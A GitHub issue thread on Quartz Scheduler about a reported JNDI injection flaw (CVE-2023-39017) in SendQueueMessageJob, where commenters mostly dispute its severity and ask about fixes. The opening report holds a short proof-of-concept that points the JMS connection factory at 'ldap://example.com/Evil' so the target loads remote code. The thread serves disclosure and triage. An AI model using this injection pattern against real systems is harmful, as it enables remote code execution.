quartz-scheduler / quartz

Code for Quartz Scheduler
http://www.quartz-scheduler.org
Apache License 2.0
6.17k stars 1.91k forks source link

API misuse of `org.quartz.jobs.ee.jms.SendQueueMessageJob.execute` would lead the code injection vulnerability. #943

Open LetianYuan opened 1 year ago

LetianYuan commented 1 year ago

Affected Version The latest version 2.3.2 and below.

Describe the vulnerability There is a method, org.quartz.jobs.ee.jms.SendQueueMessageJob.execute(JobExecutionContext), designed to send a jms message. However, passing an unchecked argument to this API can lead to the execution of arbitrary commands. For instance, following codes can lead to the execution of arbitrary commands from attackers:

        JobExecutionContext context = new JobExecutionContext() {
            ......

            @Override
            public JobDataMap getMergedJobDataMap() {
                JobDataMap map = new JobDataMap();
                map.put("jms.connection.factory", "ldap://example.com/Evil");
                return map;
            }

            ......
        };
        SendQueueMessageJob job = new SendQueueMessageJob();
        job.execute(context);

Root Cause and Potential Danger

The API is given more power than it should have, namely to just execute lookup without checking it. It violates the principle of least privilege. In this case, developers are not aware that the API used to send a jms message could execute arbitrary commands, leading to insufficient parameter validation and command execution.

We believe that this kind of implementation obscures the responsibility of security checks between the developers and the users of libraries, which has been confirmed by some developers. This issue is similar to the previously well-known Log4j2 vulnerability, where few developers knew that logging APIs could result in JNDI injection.

To Reproduce First, establish an LDAP server and provide malicious code. Then, just execute above codes would reproduce it.

Fix Suggestion Filter LDAP, RMI and related protocols when using lookup.

carnil commented 12 months ago

This issue seems to got assigned CVE-2023-39017

ogross74 commented 12 months ago

hi falks. is there an ETA for this? also, are you going to fix this on top of 2.3.2 or part of 2.4.0?

tinycage1026 commented 12 months ago

This vulnerability is also recorded by Black Duck. It is numbered as BDSA-2023-1984 and its level is high. The score is 8.9. When will this vulnerability be fixed?

chadlwilson commented 11 months ago

I wonder if this was responsibly disclosed by some other means with more complete demonstration of the issue claimed? This seems incomplete and a bit speculative.

At first glance, this seems a bit dubious to me, in both severity and validity - but happy to be educated.

Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway, to populate the value of JobDataMap or customise JobExecutionContext? If they can do that, why would they stop here? They could write any kind of code?

Is it reasonable to think that the JobDataMap and job context is going to source configuration from arbitrary user input as an attack vector?

In canonical usage, I believe JobExecutionContextImpls are created by JobRunShells internally during initialization:

https://github.com/quartz-scheduler/quartz/blob/a5c4d27e963f51097f9b2777489d310a88897ca4/quartz/src/main/java/org/quartz/core/JobRunShell.java#L143

The JobDataMap is generally supplied via a JobDetail, and constructed via a JobBuilder like the below (or in the docs) - no need to subclass override like the PoC here.

https://github.com/quartz-scheduler/quartz/blob/a5c4d27e963f51097f9b2777489d310a88897ca4/quartz/src/main/java/org/quartz/JobBuilder.java#L306-L315

If folks are allowing untrusted user input into the construction of their JobDetail and JobDataMaps that configure JNDI+JMS in general, then that seems the real vulnerability to me.

marcelstoer commented 11 months ago

this seems a bit dubious to me

👍

Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway

Not necessarily I think. If you

then the attacker won't need to alter existing binary code but would need access to the system to change configuration. This then leads to the same question you asked: why would they stop here?

chadlwilson commented 11 months ago

Fair point @marcelstoer - if an attacker has arbitrary access to alter code OR server side configuration you're in a dangerous place anyway, already breached by some other means.

maxqch commented 11 months ago

Is it correct to say that this is only relevant if you are using the quartz-jobs artifact, and anyone just using quartz shouldn't be affected?

marcelstoer commented 11 months ago

@maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.

astonbitecode commented 11 months ago

@maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.

@marcelstoer, in case someone has a dependency to just quartz, they don't even have org.quartz.jobs.ee.jms.SendQueueMessageJob in the classpath. How is it possible the vulnerability to be active?

marcelstoer commented 11 months ago

@astonbitecode See the discussion at jeremylong/DependencyCheck#5862

astonbitecode commented 11 months ago

Thanks @marcelstoer. However, I was interested in the vulnerability itself, not the DependencyCheck-related discussion.

@maxqch asked a question whether someone is still affected, even if they just use quartz and not quartz-jobs artifact.

There is no explicit reply to this, instead the thumbs up reactions bellow the comment. I just wanted to be sure.

marcelstoer commented 11 months ago

Sorry. I can't give you an authoritative answer to this as I didn't analyze it but it looks like the answer is no.

It would actually be something the folks who raised the issue in the first place should answer. Them being quiet further contributes to the dubious nature of this whole thing.

maxqch commented 11 months ago

I'm fairly certain you're not affected if you're not pulling in the actual artifact that contains this class. I just suppressed this cve.

On Tue, Aug 8, 2023, 1:13 AM Marcel Stör @.***> wrote:

Sorry. I can't give you an authoritative answer to this as I didn't analyze it but it looks like the answer is no.

It would actually be something the folks who raised the issue in the first place should answer. Them being quiet only contributes to the dubious nature of this whole thing.

— Reply to this email directly, view it on GitHub https://github.com/quartz-scheduler/quartz/issues/943#issuecomment-1669130873, or unsubscribe https://github.com/notifications/unsubscribe-auth/AHLDHTJNMBSIUZ5MX66UBG3XUHYJLANCNFSM6AAAAAA2QIZKQM . You are receiving this because you were mentioned.Message ID: @.***>

MaroIsLife commented 11 months ago

I'm fairly certain you're not affected if you're not pulling in the actual artifact that contains this class. I just suppressed this cve.

I'd assume the CVE is detected if you're simply using org.quartz-scheduler dependency since all of quartz has a single CPE

chadlwilson commented 11 months ago

I'd assume the CVE is detected if you're simply using org.quartz-scheduler dependency since all of quartz has a single CPE

Correct, everything is cpe:2.3:a:softwareag:quartz:* in the NVD right now.

Having said all this, even if you are using quartz-jobs, the CVSSv3.1 base score of 9.8 seems a bit indefensible to me, and not demonstrated by the so-called "exploit". For all of these impact metrics, NVD seem to have just taken things at face value that remote code execution is possible.

It seems to be of very low value to trawl the internet for libraries that have Java Context.lookup usage (without specifically whitelisting protocols) without actually evaluating whether it is remotely reasonable to assume a library user might mistakenly pass a value from untrusted input.

Anyway, it seems possible that the goal here is likely to be to gain "street cred" or buff up a resume by reporting many CVEs across projects any time it is possible to write code that allows configuration of a JNDI or LDAP URL via Context.lookup where JNDI injection is conceptually possible (entirely legitimate code to want to write, for the record, only dangerous in certain cases where a library user has no reason to believe something could be dangerous and is likely to pass data from user controlled input, e.g the log4j vulnerability).

Unfortunately anyone can abuse the CVE process by reporting CVEs; since there is seemingly little validation going on for CVE entries and everything appears to be taken largely at face value from reporters by MITRE. NVD can't possibly have expertise in the millions of libraries out there when they assess severity. Disputing a CVE seems basically impossible unless you are a big project, or at least heavily stacked against software maintainers - "guilty until proven innocent, or maybe never" (I've tried via both MITRE and NVD before). The entire benefit of the doubt is mysteriously given to largely anonymous reporters - not to maintainers or users. I suspect you have to be a mega-company with brand at stake to have the resources/energy to get disputed CVEs removed or re-assessed.

Even if this library did restrict ldap:// and rmi:// protocols, if you still allowed the connection factory to be passed from user controlled values, you'd be potentially allowing users to queue your jobs on their own malicious JMS servers which could exfiltrate your confidential data from your messages.

ilatypov commented 11 months ago

Let's avoid ad-hominem or group hate attacks. I changed my opinion 180° only after taking a bit closer look.

I misread the quartz-jobs code for availability of the respective quartz services, but it seems the use of JMS, JMX, EJB and mail in quartz-jobs are examples of performing the tasks rather than sending them to the server. It appears the quartz library does not have a network interface, and it can only load its tasks from a configuration file or programmatically.

I welcome the maintainers to dispute the particular CVE at a MITRE CVE form because MITRE appears the numbering authority for the finding. Yes, guilty until proven is the unfortunate result of security concerns working their way through reverse engineering.

The highlighted JMS job example as well as other job examples (JMX invoker, mail sender, EJB) may look vulnerable due to a chance of abusing the host name parameters to abuse deserialization (using own code base) and/or denial of service (e.g. sending mail). The wiring of untrusted inputs into the jobs would have to be done by the application's own code, and therefore the job examples cannot be blamed.

jbisotti commented 11 months ago

What's the ETA to fix this vulnerability?

I believe your initial reading of this thread missed some important points; give it another read.

marcelstoer commented 11 months ago

I welcome the maintainers to dispute the particular CVE at a MITRE CVE form

I have no idea where the maintainers are in all of this. However, I disputed this CVE with MITRE and they now at least added a "DISPUTED" note.

pcgeng commented 11 months ago

Will your maintenance team fix this vulnerability in a future release? Or just ignore it?

rolfyone commented 10 months ago

We've chosen to sit on the PR (teku) we've put up to see how this washes up, mostly because I'm (as a rule) not hugely a fan of moving to an RC, which is what the CVE suggests. Thanks for the discussion here it's been good context. For context our product is using this purely as a scheduler with no custom code capability, so we're fairly comfortable that the flagged problem is unlikely to directly affect our product...

sergeykad commented 10 months ago

@rolfyone I understand that it is not a real issue, but unfortunately, it is not always easy to explain to management/client why the application is flagged for a critical vulnerability. Having a clean security report is important in itself.

ilatypov commented 10 months ago

@sergeykad Cleaning security reports cannot be done, in general, by purging all suspects or by suppressing their detection. In the future, the use of any coding pattern or component could be framed into a set of purpose statements such as intended input source ("configuration file" or "web request"), relation to other sub-projects ("exemplifies a hand-coded task in using the other project" or "implements the interface" or "sends a request to the other project").

In this particular case replacing convoluted sample tasks with simple ones such as those creating files or sending web requests to a specific REST endpoint could satisfy the shallow automated scanners. But offloading the deficiencies of the scanners onto the shoulders of the code creators does not seem fair or feasible in general. Businesses can work on their human-controlled risk detection systems or finance a verifiable, enforceable component and code pattern usage programming framework.

CalvinKirs commented 10 months ago

Just a quick mention, do we have a complete security reporting process? Quartz has a large number of downstream users, and any discussions regarding security should be conducted privately rather than in a public place like GitHub Issues.

j-blandford commented 9 months ago

@ilatypov i wish it worked like that. we have a seperate part of our organisation (Audit or whatever) which is forcing us to fix this. what a stupid system

pcgeng commented 9 months ago

I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?

j-blandford commented 9 months ago

@pcgeng yes it fixes it for me (that was the recommended version provided by my tooling), but I'm getting lots of "Cast Exceptions for FileScanner" when trying to use it. The jobs work as expected, it just clutters my logs a LOT

Dragas commented 6 months ago

So to trigger this vulnerability you need

Am I reading this correctly?

rbertucat commented 5 months ago

I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?

We've updated to RC2 and used the OWASP Dependency-Check maven plugin and RC2 is still identified with known vulnerabilities: quartz-jobs-2.4.0-rc2.jar (pkg:maven/org.quartz-scheduler/quartz-jobs@2.4.0-rc2, cpe:2.3:a:softwareag:quartz:2.4.0:rc2:*:*:*:*:*:*) : CVE-2023-39017

image

danieljeremias commented 4 months ago

Is there a deadline to launch this fix?

avmusa commented 3 months ago

Any idea of the date when the release build including CVE-2023-39017 fix will be published for v2.3.x?